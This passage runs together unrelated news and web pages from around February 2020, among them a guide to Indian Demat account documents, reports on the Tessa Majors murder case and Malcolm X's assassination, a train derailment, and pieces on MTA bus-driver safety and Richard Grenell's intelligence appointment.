coverage of current clinical issues, and monthly review articles that cover the most current practice concerns. The journal is affiliated with the American Surgical Association and the European Surgical Association. About Wolters Kluwer Wolters Kluwer (WKL) is a global leader in professional information, software solutions, and services for the clinicians, nurses, accountants, lawyers, and tax, finance, audit, risk, compliance, and regulatory sectors. We help our customers make critical decisions every day by providing expert solutions that combine deep domain knowledge with advanced technology and services. Wolters Kluwer reported 2018 annual revenues of 4.3 billion. The group serves customers in over 180 countries, maintains operations in over 40 countries, and employs approximately 18,600 people worldwide. The company is headquartered in Alphen aan den Rijn, the Netherlands. Wolters Kluwer provides trusted clinical technology and evidence-based solutions that engage clinicians, patients, researchers and students with advanced clinical decision support, learning and research and clinical intelligence. For more information about our solutions, visit http://healthclarity.wolterskluwer.com and follow us on LinkedIn and Twitter @WKHealth. For more information, visit http://www.wolterskluwer.com, follow us on Twitter, Facebook, LinkedIn, and YouTube. Thank you for reading! Please log in, or sign up for a new account and purchase a subscription to continue reading. The 10 most valued domestic companies together added a whopping Rs 4,04,068.05 crore in market valuation last week, with RIL and HDFC Bank leading the gains. Here are the top 10 firms according to their market capitalisation for the week ended April 9: A Demat account is, in a way, like your bank account. If you are opening a Demat account online, you will have to upload your PAN card and address proof by logging on to the DPs (broker/ bank) website. The documents mandatorily required are mostly common across brokers, banks, and other financial organisations that act as an online trading platform. You will have to ensure that the papers are valid as on submission date and that they havent crossed the expiry date. Personal details: Furnish proof of identity and proof of address in the prescribed format. Most of the brokers/ banks pre-fill them once you provide them with PAN and other documents. Verify and cross-check them. Bank, income details: You will have to part with your Bank Account Number and IFSC code for opening a Demat account. However, there is no cause for worry as the info is safe with the broker. You will also have to furnish your income details. Documents checklist to open Demat account Apart from the documents for demat account, you will also have to provide your Depository Participant (DP) two to three photographs of yours. A quick checklist of documents required to open a Demat account with a financial organisation, including a broker or a bank, would be: Proof of Identity (POI): Driving licence, Voters ID, UID or Unique Identification Number etc will be accepted as proof of identity Proof of Address (POA): Passport, Voters ID, Aadhaar, ration card etc can be provided as document proof for address to open a Demat account. Proof of Income: This is required for trading in derivatives such as F&O. Copy of ITR Acknowledgement etc can be furnished. Proof of Bank Account: Cancelled cheque leaf can be provided for this purpose PAN Card: A PAN card is mandatory for opening a Demat account with any bank or broker (except those who are specifically exempt from obtaining PAN; as listed in Exemptions/Clarifications to PAN section) List of documents required as proof of identity to open Demat account PAN card: This is a mandatory requirement for all applicants except those who are specifically exempt from obtaining PAN (as listed in Exemptions/ Clarifications to PAN section). An admissible proof of identity should have a valid photograph of the applicant on it. Unique Identification Number (UID): This could be your Aadhaar card/ Passport/ Voter ID card/ driving licence) Identity (with applicants photo) attesting document issued by any of the following agencies: Central or State Government and its departments Statutory/ Regulatory bodies Public Sector Undertakings (PSU companies) Scheduled commercial banks or public financial companies Universities / Colleges affiliated to universities Member IDs professional bodies like ICAI, ICWAI, ICSI, Bar Council among others can issue for their members. List of documents required as proof of address to open Demat account Passport (check for date of expiry) Voters ID card (with valid photograph) Registered sale or lease agreement of the house Driving licence with photograph Maintenance bill Insurance paper Utility or telephone bills Electricity bills (older than 3 months are not admitted) Passbook or bank account statement Proof of address attested by bank managers of scheduled banks, scheduled co-operative banks, gazette officer, notary public, elected representatives of legislative assemblies (MLAs), elected members of parliament (MPs) Documents issued by Central or State Government and its departments Statutory/ Regulatory bodies Public Sector Units (PSU companies) Scheduled commercial banks or public financial companies Authorised universities (or colleges affiliated to universities) Professional bodies like ICAI, ICWAI, Bar Council among others can issue it for their members. List of documents required as proof of income A photocopy of the Income Tax Return (ITR) acknowledgement slip submitted to the Income Tax Department during filing of income tax Proof of Salary in the form of a recent Salary Slip or relevant document which proves income or net worth like Form 16 A Net Worth Certificate certified by a Chartered Accountant; alternatively, a photocopy of the Annual Accounts duly audited by a qualified Chartered Accountant Current bank a/c statement reflecting the income history of the client for the past six months A statement of Demat account holdings with an eligible Depository Participant Other documents that substantiate ownership of assets through self-declaration along with documents supporting the claim Cancelled personalized cheque Documents to substantiate ownership of assets. Bank account statements for last six months Power of Attorney or POA: Along with the other documents you will also need to sign agreement papers like the Power of Attorney given to the broker for transfer of securities to settle margins, for settlement of trades and transfer of funds from your account. The POA document has your Demat and bank account details. It is important to note that it must be given out in the name of the brokerage and not in the name of the employee concerned. List of people authorized to attest the documents : Keep in handy three copies of passport size photographs while visiting your broker /bank for opening a Demat account.As proof of identity to open a Demat account, one can submit any of these documents:Documents admissible as Demat account proof of address include:List of documents admissible as Proof of Income to open a Demat account with an authorised bank/ broker or any other financial organisation are: The list of people who are authorised to attest documents for opening of a Demat account are: A Gazetted Officer, Notary Public, Manager of a Scheduled Commercial/Cooperative Bank or Multinational Foreign Banks. Ensure that you have incorporated the Name, Designation and office seal affixed on the copy. In the case of Non-Resident Indians (NRIs), authorised officials of overseas branches of Scheduled Commercial Banks registered in India, Court Magistrate, Judge, Notary Public, and Indian Embassy/Consulate General in the country where the client resides can attest the documents FAQs Is opening a Demat account for a minor a tedious task? What are the benefits of a Demat account? Can I change my address in Demat account? Who all are involved in the opening of a Demat account? Apart from these documents, the Depository participant or your bank/ broker might ask you for additional certificates as identity, address, and income proof. Once all the documents are submitted, verified, and checked by the departments concerned, your DP will open your account after which you can commence trading.The procedure for opening a Demat account for a minor is rather simple. The guardian needs to provide the required documents such as the proof of identity, proof of address, photocopy for the proof of age, and photographs to the Depository Participant (DP) concerned. The DP then verifies the documents and captures the PAN card details of the minor in the DPM system post verification. Upon successful submission and verification of the submitted documents, a Demat account for minor will be created.One of the biggest advantages of opening a Demat account is the low risks involved. Physical securities pose a threat in the form of thefts, losses, or damages are completely eliminated with the opening of a Demat account, which provides holders with the option of holding all their investments in electronic form. It helps easy holding of certificates as maintaining physical papers are a tedious job. It also cuts down on time and costs as there is no paperwork involved. Also, you can do away with additional costs including stamp duty, which is required in the case of physical share trading.Yes. To change your address in the Demat account, the following documents are required: Request for change of address in the prescribed format signed by all the account holders, self-attested identity proof of all the account holders, new address proof, and self-attested proof of new (Correspondence/Permanent) address in the name of the first holder.Apart from the two Depositories in India the National Securities Depositories Ltd (NSDL) and Central Depository Services Ltd (CDSL); through whom the shares are held by the various depository participants other parties involved in Demat account transaction are Depository Participant (DP) or authorized stockbroking firm; financial institution, i.e. the bank; clearing houses which take care of debiting or crediting of shares, National Securities Clearing Corporation Ltd (NSCCL) under NSE and Indian Clearing Corporation Ltd (ICCL) under BSE; and stock exchange. After the initial burst of gunfire, Cathery allegedly opened fire on the victims two more times, including shooting a 21-year-old man directly in the head as he stood over him, prosecutors said. That man remains in critical condition and is on life support, prosecutors said. SYDNEY, Australia - Several cars on a passenger train derailed in southeastern Australia, killing two operators and injuring 12 other people, police said. The train was heading from Sydney to Melbourne late Thursday when part of it came off the tracks in Victoria state near Wallan. The two dead were the pilot and driver of the train, which was carrying 160 passengers and crew. Twelve people were taken to hospitals, with 11 of them described as having minor injuries. The engine and the first carriage tipped onto their sides while four cars were left leaning off the wrecked tracks. The cause of the derailment is not yet known, officials said. I imagine as a first responder who turned up it would have been looking like a horrific scene, Acting Inspector Peter Fusinato said. Im very surprised there werent more serious injuries ... quite a miracle really. Shaken passengers were bused to Melbourne after the crash, while others were picked up by family. The National Rail Safety Regulator, Australian Transport Safety Bureau and WorkSafe are to handle the investigation. Mondays gathering in support of a bill to make Charleston County School board members run in single-member districts reminded us of the Chinese proverb about being careful what you ask for. Some people are backing the proposal which also lops two years off the terms of school board members who were elected in 2018 because they dont like the boards plan to increase diversity at Academic Magnet High and other exclusive and overwhelmingly white schools. Others like it because they oppose proposals (temporarily shelved) to close tiny, failing and overwhelmingly black schools and send the students to larger schools, where they can have access to better programs. But imagine what would happen if the Legislature replaces school board members who are elected countywide with new members who represent just one-ninth of the county. In no time, board members would find out how many students from their districts attend elite schools either because they ask, parents tell them or school officials feel like they have an obligation to let them know. Those who represent districts with low numbers would insist on having slots reserved for students from their ninth of the county; after all, their job is to represent the interests of their district. And theyd probably get the reserved slots, because theyd form coalitions with the representatives of the other under-represented areas to approve that change. That sort of horse-trading is just what legislative bodies elected from single-member districts do. So the result would be at least as much change to the magnet schools enrollment policies as the current board is proposing, but in a haphazard way based on hard quotas, rather than the well-thought-out way designed to ensure that the academic standards are maintained. On the other side of this uncomfortable alliance of school district opponents, nearly all of the opposition to closing failing schools is from African Americans, because the targeted schools have overwhelmingly black student bodies. And, as weve noted before, the current school board has four African American members compared to just three on the nine-member County Council whose districts would be used for the new school board. That means its likely that H.5034 would actually reduce the number of black school board members. So theres little reason to believe that the new board would be any more interested than the current board in maintaining the tiny failing schools where were spending much more per student than in the larger schools the students would transfer to. Theres also little reason to believe that the new board would be as interested as the current board in reducing racial disparities across the district well, except when thats the result of building coalitions that serve the interests of individual election districts rather than the district as a whole. Worst of all, the new board thats unlikely to satisfy any of the concerns about the current boards plans likely would become more divisive and dysfunctional. The new board members would find it nearly impossible to focus on the needs of the school district as a whole because theyre fixated on the hyper-local concerns of small groups within their small districts. And our schools would suffer. The bill is unlikely to become law unless all the senators who represent Charleston County agree to it, but if they come to an agreement, it could be on the governors desk within 24 hours. If this sounds like a bad idea, you need to tell your state senator, and House member, that you oppose their plan while you still have a chance to stop it. A 13-year-old suspect in the killing of Tessa Majors appeared in family court on Thursday, where the court room heard audio of his uncle berating him for 'hanging with the wrong people.' The teen - who is the only minor not being tried as an adult in the case - told authorities exactly what had transpired on the Dec. 11 killing when interrogated by police. He claimed that 14-year-old Rashaun Weaver was the one who stabbed Tessa Majors in Morninside Park, noting that he only saw feathers fly from her coat. The boy also explained to authorities that the knife police found in his backpack was not the same weapon used in the killing, adding that he was holding the item for a friend. Majors, a freshman student at Barnard College, was stabbed to death in Morningside Park in Upper Manhattan near her school campus on December 11 It was then that his uncle lambasted him for having the knife and making bad decisions, the New York Daily News reports. 'You don't see what you f--king got yourself into?' the uncle could be heard shouting. 'Because you hanging out with the wrong f--king people, instead of bringing your a-- home like you're supposed to. What do you have a f--king knife in your book bag for? Like I say, you shouldn't be letting anyone put anything in your bag. What did I tell you about being a follower? I told you about being a f--king follower. ' The uncle then tries to make his nephew realize just how serious the incident is. 'This ain't like school where you get a f--king suspension and you go somewhere else for like five days,' the uncle stated. 'This ain't like that. All you need to do is go to f--king school and bring your a-- home. F--king police record and every f--king thing. Luchiano Lewis, 14, who surrendered to police on Wednesday morning, is accused of stopping Majors from fleeing as she screamed for help while Rashaun Weaver, also 14, is accused of stabbing her to death on December 11 in 2019. Luchiano Lewis, 14, being led into court after he surrendered to police on Wednesday over the murder of Tessa Majors Rashaun Weaver, the 14-year-old boy who was arrested on February 14, was charged with two counts of murder The 13-year-old boy has been charged with second-degree murder in a family court over the killing during an alleged robbery in Upper Manhattan, but his name has not been released because he is being tried as a juvenile. Weaver and Lewis are being charged as adults. Lewis was charged and arrested on Wednesday with second-degree murder and robbery, appearing in court alongside Weaver in an arraignment in Manhattan. Majors, an aspiring journalist, was attacked as she walked Morningside Park near the Barnard campus in the early evening. Lewis handed himself in to police on Wednesday morning after previously being interviewed and let go in December. The middle school student kept the college freshman from escaping by putting her in 'some sort of headlock or bearhug,' Matthew Bogdanos, a prosecutor in the Manhattan district attorney's office, said. The unnamed 13-year-old boy was the first suspect detained by police a day after the murder. Katima Minton (center) Weaver's mother leaves court in New York after his court appearance Police say he quickly implicated himself in statements to detectives, as well as identifying the Lewis and Weaver, who was arrested on February 14. Investigators said they were not expecting to charge any further suspects in the killing. In a hearing in December investigators said that Majors, who played in a rock band, bit one of the suspect's fingers as she fought for her life. She was stabbed in her face and body in the struggle but managed to stagger up a flight of stairs before collapsing. Majors was pronounced dead in hospital. Lewis' parents, Weaver's mother and Majors' father attended court for the arraignment. District Attorney Vance said: 'While a criminal process will never fully heal the unimaginable pain suffered by Tessa Majors family and friends, this indictment is a significant step forward on the path to justice. Inman Majors (center) the father of Majors, attended the arraignment of her two accused killers on Wednesday Prosecutors said the college student fought for her life but was stopped from fleeing when she was put her in 'some sort of headlock or bearhug' The murder of student Tessa Majors last December sent shock waves through Manhattan, with many saying the violent incident was reminiscent of 1970s and 1980s crime in New York 'We are committed to holding these young people accountable, and equally committed to a fair process which safeguards their rights. This is how we will achieve true justice for Tessa and her loved ones.' He said the investigators had accumulated substantial evidence proving Weaver stabbed Majors. He stated that there was 'video evidence, blood evidence, smartphone evidence, iCloud evidence, witness identification, and the defendant's owned statements that were rigorously collected and examined'. TIMELINE December 11: Tessa is attacked in Morningside Park. Police originally said the call came in at 5.36pm. They later said it was closer to 6.50pm She is pronounced dead at the hospital December 12: Police question two underage boys and search for a third. Those two boys are later cleared and let go. The 13-year-old boy is arrested for murder. Bill de Blasio promises swift justice. December 13: A 14-year-old is taken into custody. The 13-year-old boy is charged with murder. December 14: The charges against the 14-year-old are dropped and he is let go. December 15: Ed Mullins, the President of the Sergeant's Benevolent Association, says Tessa was in the park buying marijuana. He is slammed by Bill de Blasio. At 4pm, a 14-year-old boy bolts from a car as he is driven - by a 'lawyer or relative' to speak to police December 16: Tessa's family slam Mullins' remarks December 17: 13-year-old's probable cause hearing The 14-year-old remains on the run. The third alleged suspect remains free. December 26: The missing 14-year-old is detained but released after a few hours February 14: Rashaun Weaver, 14, is arrested and charged with murder. He is identified as the teen released on December 26 February 19: Luchiano Lewis, 14, surrenders to police. He is identified as the boy taken into custody but released on December 14 Advertisement Police Commissioner Dermot Shea said: 'Detectives, investigators and prosecutors, as well as a grand jury, worked deliberately to ensure that the evidence amassed supported the charges brought, and that now those who allegedly murdered Tessa Majors will be held to account. 'Nothing can bring her back. That is the tragedy we all must live with.' Weaver and Lewis were ordered to be held without bail at a juvenile detention facility. They will be kept separate in jail. Weaver has also been charged with robbing another person. According to the complaint provided to DailyMail.com, Weaver is accused of conducting the separate mugging in Morningside Park four days prior to Majors' murder. According to that mugging victim, Weaver and two other boys confronted him on the night of December 7 and stole his iPhone. Just hours later, the iPhone was connected to an iCloud account in Weaver's name. The mugging victim later identified Weaver from a photo line up. Additionally, the 14-year-old was seen on surveillance camera wearing the exact same outfit during both his alleged December 7 mugging and his alleged December 11 stabbing of Majors. The complaint declares that, on December 11, the three suspects initially followed a man through the park, before they turned their attention to Majors. At 6.47 pm, a witness 'heard a male voice from the area [believed to be Weaver] say [to Majors]: 'Run your s**t. Gimme your phone. You got some weed, gimme that too.' The witness then heard a female scream, 'Help me! I'm being robbed!' Surveillance footage shows Majors later stagger up the Morningside Park steps to reach a security gate. She lay conscious and bleeding before she was rushed to a nearby hospital. She was pronounced dead at 7.23 pm - meaning there was more than half an hour between the time of the attack and her death. The murder sent shock waves through Manhattan, with many saying the violent incident was reminiscent of 1970s and 1980s crime in New York. Police union chiefs blamed Bill de Blasio for it, saying he is making it difficult for regular cops to crack down on street crime. The NYPD also faced accusations of 'victim blaming', after the police union chief claimed Majors may have been in the park seeking to buy marijuana. A female inmate at Logan Correctional Facility, Illinois largest womens prison, has claimed in a lawsuit that she was raped by a transgender inmate, a biological male transferred from a mens prison. The woman, whose name is not revealed in the lawsuit, also alleges Illinois Department of Corrections officials covered up the rape and punished her for reporting it, claiming the rape allegation was false. The transfer of transgender inmates from male to female prisons has been a contentious policy within IDOC, the womans attorneys wrote in the lawsuit. In an attempt to justify the transfers, Defendants [Todd] Sexton, [Beatrice] Calhoun, [Brent] Keeler and currently other unknown IDOC employees covered up the sexual assault of Plaintiff and tried to falsely classify it as consensual, to keep it from being considered a PREA [Prison Rape Elimination Act] violation. Sexton and Keeler are correctional officers at the Logan prison, while Calhoun is the warden. Alan Mills, head of the Chicago-based Uptown Peoples Law Center, confirmed to Chicagos PBS affiliate that one of his clients, Janiah Monroe, is the defendant in the lawsuit. Monroe, a biological male who identifies as a woman, has previously filed suit to be transferred to a womens prison. Mills asserted that while Monroe had been accused of sexual harassment in other cases since moving to Logan in April 2019, the cases were largely without merit and in some instances driven by transphobia. Transphobia exists everywhere, both out here on the street and in prison, so its not surprising that there are some people who feel uncomfortable with her presence in a womens prison, Mills said. More from National Review Courtesy Image/Montgomery County Precinct 3 Commissioner James Noack's Office / Courtesy Image/Montgomery County Precinct 3 Commissioner James Noack's Office Montgomery County Precinct 3 Commissioner James Noack says the feral hog trapping program he green-lighted in January has had what he describes as great success with a total of 27 feral hogs captured by trappers. From what we have observed and from feedback from precinct residents, there has been no new private property damage inflicted by the hogs in the targeted areas since the three-month program began, Noack stated in a press release. Our office is aware that trapping has provided poor results for the long-term reduction of hog populations but in the short-term we will continue to try and provide our residents with immediate relief. We will continue to work to control the feral hog population by working with both local and state authorities for a more long-term solution. CAMBRIDGE, Mass. - Caroline Kennedy, the daughter of President John F. Kennedy, has stepped down as honorary chair of an advisory board of an institute at a Harvard University graduate school named in honour of her father, the school confirmed. The Harvard Kennedy School thanked her and another former member of the Institute of Politics advisory committee for their service. I am extremely grateful for the extraordinary dedication and commitment she has shown to Harvard Kennedy School over many years, Kennedy School Dean Douglas Elmendorf said in the statement. Carolines role at the Institute of Politics will always be prized and remembered. Kenneth Duberstein, a lobbyist and former chief of staff to President Ronald Reagan, resigned as chairman of the panel. The Kennedy School did not address the reasons for the resignations, first reported by The Washington Post. After careful consideration and heartfelt conversations with Caroline, I have decided to step down immediately as Chairman of the SAC of our beloved Institute of Politics, Dubersein said in a statement. The Post could not reach Caroline Kennedy, the former U.S. ambassador to Japan, for comment. HCM City authorities have proposed further temporary school closures until the end of March for fear of coronavirus. The proposal signed by municipal People's Committee Chairman Nguyen Thanh Phong was sent to the government on February 20. According to the committee, the shutdown needs to be applied for schools of all levels in the city. Under the recommendation, the national high school graduation of this school year should be changed to July. The committee said that the further school closure is aimed to ensure safety for students as the coronavirus still poses a risk. HCM City was the first locality to decide local students should stay at home until the end of February. Vietnam gradually developed an effective treatment plan for coronavirus patients with 15 out of 16 infected cases successfully treated, the Ministry of Health reported. However, the country still has 34 unconfirmed cases and more than 1,530 people in close contact with people who may have the virus or those arriving from epidemic areas. Dtinews With schools closed, software companies fill the breach with free e-learning software Many software companies have provided free e-learning software for students to learn online while schools remain closed at least until month-end due to the new coronavirus fears. Malcolm X knew that somebody was going to try to kill him. On Feb. 21, 1965, he was assassinated just as he was starting to give a speech at 3:15 p.m. the Audubon Ballroom in New York City. His lawyer claimed the slim, goateed Malcolm had known he was marked for murder, and was preparing in his speech to disclose the names of those who were trying to kill him. Police blamed the slaying on a feud between Malcolm, 38, and the Black Muslim movement, with which he broke in 1963. The Muslims, however, denied any complicity, reported the Associated Press on Feb. 22, 1965. Between 400 and 500 people were in the audience as multiple men shot Malcolm X. The bullets ripped through a thin, wood podium where he stood. He was shot 15 times. Civil rights activist, Malcolm X, whose original name was Malcolm Little, joined the controversial Nation of Islam while he was in prison. He had been sentenced to 10 years for larceny and breaking and entering. This is an exterior view of the Audubon Ballroom on 166th Street at Broadway in the Harlem section of Manhattan, where black Muslim leader Malcolm X was assassinated as he addressed a rally on Feb. 21, 1965. (AP Photo)ASSOCIATED PRESS He rose to a leadership position within the National of Islam and encouraged blacks to fight racism by any means necessary, including violence. Eventually, Malcolm X became disillusioned with the Nation of Islam leader, Elijah Muhammad. Muhammad suspended Malcolm X from the organization after the assassination of President John F. Kennedy. Malcolm X said that Kennedy's assassination was a matter of "chickens coming home to roost." In 1964 Malcolm X had a shift in his philosophy and founded the Organization of Afro-American Unity. According to history.com, Malcolm X and his more moderate philosophy became increasingly influential in the civil rights movement. He learned from the FBI that he was targeted for assassination. On Feb. 14, 1965, his home was firebombed. FILE- In this Feb. 21, 1965 file photo, Human rights activist Malcolm X is tended to as he lies mortally wounded on the stage of the Audubon Ballroom in the Harlem section of New York after being shot multiple times. (AP Photo/WCBS-TV)AP This is from the Associated Press report, A diversion in the rear of the ballroom drew attention from the stage long enough for the assassins to race down an aisle and pump bullets into Malcolms chest from three weapons. He had just begun to address his followers, starting, Brothers and sisters Malcolms wife, Betty, 37, was nearby. She screamed, Theyre killing him theyre killing him. The killers turned around and raced from the second-floor ballroom with a mob shouting at their heels, Kill them - dont let them get away. Police quickly arrested three black men who also had gunshot wounds. They were hospitalized under guard. This is the Audubon ballroom in upper Harlem, New York, after it was roped off by police following the assassination of Malcolm X, February 21, 1965. The civil rights leader was standing at the podium on stage in the background. (AP Photo/Al Burleigh)ASSOCIATED PRESS Pulitzer Prize winning journalist Jimmy Breslin, writing for the Herald Tribune News Service, wrote this about the assassination: Up in the front of the ballroom, on the stage, somebody was saying, Malcolm is a man who would give his life for you. Then the people, 400 of them, the best crowd Malcolm X has drawn in three years, got up from their wooden folding chairs and clapped for 45 seconds while Malcolm X came up to the rostrum and stood there, waiting to talk. The rostrum came up to Malcolms chest. But it was made out of thin wood and the bullets would go through it easily. The applause stopped and the people began to sit down and everybody was looking at Malcolm X and now the guys in the back of the ballroom made their move. Get your hand out of my pocket, one of them yelled. The other grabbed him and started a fight. Stay cool, Malcolm X said from the front of the stage. His bodyguards ran over to stop the fight. Brothers and sisters, Malcolm X began. Now the other three went for him. One had a sawed-off shotgun. Two others came right down the aisle, reaching for the guns in their pockets, and somebody began to yell and then they got Malcolm X in a hurry. They fired about 10 shots, the three of them, and the bullets went through the thin wood of the rostrum and Malcolm caught at least three in his body. Then one of them aimed at his head and hit him in the cheek. Everybody in the room, this big crowd of 400 which he had drawn, was screaming and falling to the floor, and Malcolm X stood at the rostrum with four bullets in him and he stood there frozen and then tilted over and followed his head to the floor. He fell on the stage with a crash and began to die. This is the Audubon Ballroom in upper Harlem, New York, after it was roped off by police following the assassination of Malcolm X, February 21, 1965. The Muslim leader was standing at the podium on stage in the background addressing a rally when the fatal bullets felled him. (AP Photo/Al Burleigh)ASSOCIATED PRESS Breslin described how a stretcher was brought from Columbia Presbyterian Hospital, across the street. Malcolm Xs followers did not wait for an ambulance. They put Malcolm on it and surrounded it and carried the stretcher downstairs and then put it down on the sidewalk and rolled it across Broadway, screaming their threats into a street that now was becoming filled with people. They wheeled Malcolm to the hospitals emergency entrance, which is on Broadway, and white-coated interns came from everywhere and some of them grabbed the stretcher and pushed it onto an elevator and others bent over the body and began to inspect it while they walked and there were more of them waiting up in the emergency operating room on the third floor. The white hands that Malcolm X had preached so much hatred about clawed at his blood-soaked clothes and touched his body. One of the white hands clamped an ether mask over his face. Another while hand, holding a scalpel, came at his chest. Other white hands worked at the chest as it opened, and they massaged Malcolm Xs heart. The operating room was filled with doctors and nurses, and they were all busy and working quickly, but it was all meaning less. The bullets had done the job on Malcolm X. Nation of Islam members Thomas 15X Johnson, Norman 3X Butler and Talmadge Hayer were convicted of first-degree murder in March 1966 and sentenced to 20 years to life in prison. Actor Ossie Davis delivers eulogy for Malcolm X at the funeral services for the slain black Nationalist leader in the Faith Temple of God in Christ in New York's Harlem, Feb. 27, 1965. Davis called Malcolm a "brave and gallant young champion." Seated second from left in pew facing open casket is Malcolm's widow, Betty. (AP PHOTO)AP Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. A manhunt is on in California for an "extremely dangerous" man suspected of killing three people at a cemetery this week, authorities said. Jose Luis Torres Garcia, 33, has been identified as the suspect in the murders of three people whose bodies were found Monday at Perris Valley Cemetery in Perris, about 70 miles southeast of Los Angeles, officials said. The victims and the suspect knew each other, and it appears all four drove to the cemetery together, Riverside County Sheriff Chad Bianco said at a news conference Thursday. PHOTO: Riverside County Sheriff Chad Bianco names Jose Luis Torres Garcia as the suspect in the triple homicide at Perris Valley Cemetery during a press conference at Riverside County Sheriff's Department in Riverside, Calif., on Feb 20, 2020. (Terry Pierson/Orange County Register via ZUMA Press) A motive is not known, the sheriff said, but he added that these were not random killings. Bianco said he believes Garcia acted alone, and that he should be considered "armed and extremely dangerous." PHOTO: A photo of Jose Luis Torres Garcia is shown on a screen as Riverside County Sheriff Chad Bianco names Garcia as the suspect in the triple homicide in Riverside, Calif., Feb 20, 2020. (Terry Pierson/Orange County Register via ZUMA Press) Investigators zeroed in on him by combing through surveillance video from across the city, which the sheriff said placed Garcia with the three victims MORE: 3 men found dead in a cemetery, officials say killings were 'a message' The victims were identified by police as Jaime Covarrubias Espindola, 50, Jose Maria Aguilar-Espejel, 38, and Rodrigo Aguilar-Espejel, 28. The sheriff has not said how the victims were killed. A felony warrant has been issued for Garcia's arrest, the sheriff said. A DUI warrant and a drug warrant were previously issued for Garcia, both in California, the sheriff said. #Breaking Perris Triple Homicide Suspect Identified: 33-year-old, Jose Luis Torres Garcia. Homicide Unit Investigators are asking for the publics assistance in locating Jose Garcia. Please call 951-955-2777 or 951-776-1099, option 5. pic.twitter.com/E5Bx2K4dq8 Riverside County Sheriff's Dept (@RSO) February 21, 2020 Bianco has asked the public for help in finding Garcia but urges people not to make contact with him. ABC News' Ella Torres contributed to this report. Police on hunt for 'extremely dangerous' suspect in cemetery triple killing originally appeared on abcnews.go.com The international community should intensify financial assistance to Ukraine to support the population in the east of the country, according to a joint statement made by Estonia, Denmark, Finland, Iceland, Latvia, Lithuania, Norway, and Sweden. Political Director of the Ministry of Foreign Affairs of Estonia Lembit Uibo read out the statement at a UN General Assembly meeting on the situation in the temporarily occupied territories of Ukraine in New York on Thursday, February 20. "In order to improve the situation, we call for safe, rapid and unhindered of humanitarian assistance to the region. The international community needs to keep Ukraine high on the agenda and intensify our financial support for the humanitarian response in eastern Ukraine," Uibo said. He called on the international community to maintain sanctions pressure on Russia. "We call on Russia to abide by the international law. Maintaining pressure on Russia by the international community is essential until Ukraines sovereignty is fully restored and secured under international law. The Nordic-Baltic countries remain steadfast in their support for Ukraine and its people," the diplomat said. Uibo also expressed concern about the human rights situation in Russia-occupied Crimea. "We call on the Russian Federation to stop these violations, mostly targeting Crimean Tatars and Ukrainian activists, and immediately release all political prisoners that have been illegally detained in Crimea. We also reiterate that the regional and international human rights monitoring mechanisms as well as the human rights organizations must have unimpeded access to Crimea," he said. op Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. STATEN ISLAND, N.Y. -- As attacks on bus operators continue to rise in New York City, the MTA is stepping up its safety measures while calling on state lawmakers to increase the penalties for assaulting transit workers. On Thursday, MTA leadership was joined by representatives from the Transport Workers Union (TWU) Local 100 to condemn recent attacks on MTA transit workers, announce new safety efforts and encourage the passage of legislation that would stiffen penalties for such attacks. Every single day, nearly 10,000 bus operators come to work to move millions of New Yorkers safely to wherever they want to go in this city, said Craig Cipriano, Acting MTA Bus Company President and Senior Vice President of the NYC Transit Department of Buses. But too many of them are unable to do that already difficult work without being harassed or attacked. Verbal and physical attacks on our bus operators both rose last year and we are here today to say with one voice that enough is enough." The calls come following a spike in violent incidences against bus operators over the past year, with New York Penal Law assaults up more than 10% and spitting incidents up 35% compared to 2018. Just last week, a rider assaulted a 65-year-old bus driver on the B15 route in Brooklyn, striking the driver in the face with a padlock after the driver had refused to let him on the bus at the previous stop. In an effort to help curb the recent attacks, the agency announced that security cameras will be equipped on all 5,700 MTA buses by the end of the 2020-2024 MTA Capital Plan. Currently, about 4,200 of the buses are equipped with security camera, including approximately 90% of local buses. A worker safety task force will also be formed to identify transit assault hotspots throughout the city, where the MTA will deploy some of the 500 new MTA Police officers set to start patrolling the system in the coming months. Our dedicated front line employees often bear the brunt of ridership frustrations that are well beyond their control. The public needs to understand that operating a bus in this city is already challenging and that attacks on bus drivers are completely unacceptable, Cipriano added. The MTA and TWU applauded Gov. Andrew Cuomo for introducing legislation in the FY 2021 Executive Budget that would stiffen penalties for transit worker assaults and expand the list of workers who would be protected under the new law. Should the legislation be approved, aggravated harassment of a transit worker, which includes spitting, would become a Class A misdemeanor, punishable by up to one year in prison. Currently, spitting on a transit worker is only punishable by fine. Additionally, the legislation would expand the list of protected transit workers from train and bus operators, signal persons and terminal cleaners to also include customer assistance personnel, signal system repairers, track cleaners, and supervisors. We are calling on our elected officials to make spitting on transit workers a crime. We want prosecutors to aggressively prosecute cases in which bus operators are assaulted, said J.P. Patafio, TA Surface Vice President, TWU. US Ambassador to Germany Grenell Takes Charge of US Intelligence, for Now By Jeff Seldin February 20, 2020 The soon-to-be acting chief of the United States' intelligence agencies says he won't be on the job for long. In a tweet Thursday, U.S. Ambassador to Germany Richard Grenell confirmed he is taking the post only on a temporary basis and that, "The President will announce the Nominee (not me) sometime soon." The U.S. has been without a permanent director of national intelligence since mid-August of 2019, when Dan Coats officially stepped down following a series of public clashes with President Donald Trump over intelligence assessments. But so far there is no word from the White House on just when a permanent replacement will be nominated. In the meantime, Grenell is set to take over from current acting Director Joseph Maguire, who by law cannot continue in an acting capacity beyond March 12. Trump first announced the move to Grenell in a tweet late Wednesday. In a statement Thursday, White House press secretary Stephanie Grisham praised Grenell and his qualifications for the role. "He has years of experience working with our Intelligence Community in a number of additional positions, including as Special Envoy for Serbia-Kosovo Negotiations and as United States spokesman to the United Nations," Grisham said, adding, "He is committed to a non-political, non-partisan approach as head of the Intelligence Community, on which our safety and security depend." An administration official also confirmed to VOA that Grenell will keep his job as ambassador to Germany and continue to serve as special envoy for peace negotiations between Serbia and Kosovo as he leads national intelligence efforts. Grenell, known as a staunch Trump loyalist, caused a stir in Germany upon assuming his diplomatic post, saying that he wanted to "empower other conservatives throughout Europe, other leaders." Some German lawmakers viewed the comments as unusually interventionist and Germany's Foreign Ministry demanded an explanation. Grenell has also been especially outspoken about what he says are the dangers of doing business with the Chinese telecommunications giant Huawei, urging Germany not to become a Huawei customer because of suspicions the company installs spyware in its products at the bidding of Beijing. Despite White House accolades, the move is not sitting well with some former intelligence officials or with some key lawmakers, who cite Grenell's lack of intelligence experience and the president's refusal to name a permanent director. "The president is marginalizing the position by refusing to nominate someone to be confirmed," said James Clapper, who served as director of national intelligence under President Barack Obama. "It is bad for continuity and stability," Clapper told VOA. "The over-arching message is the president 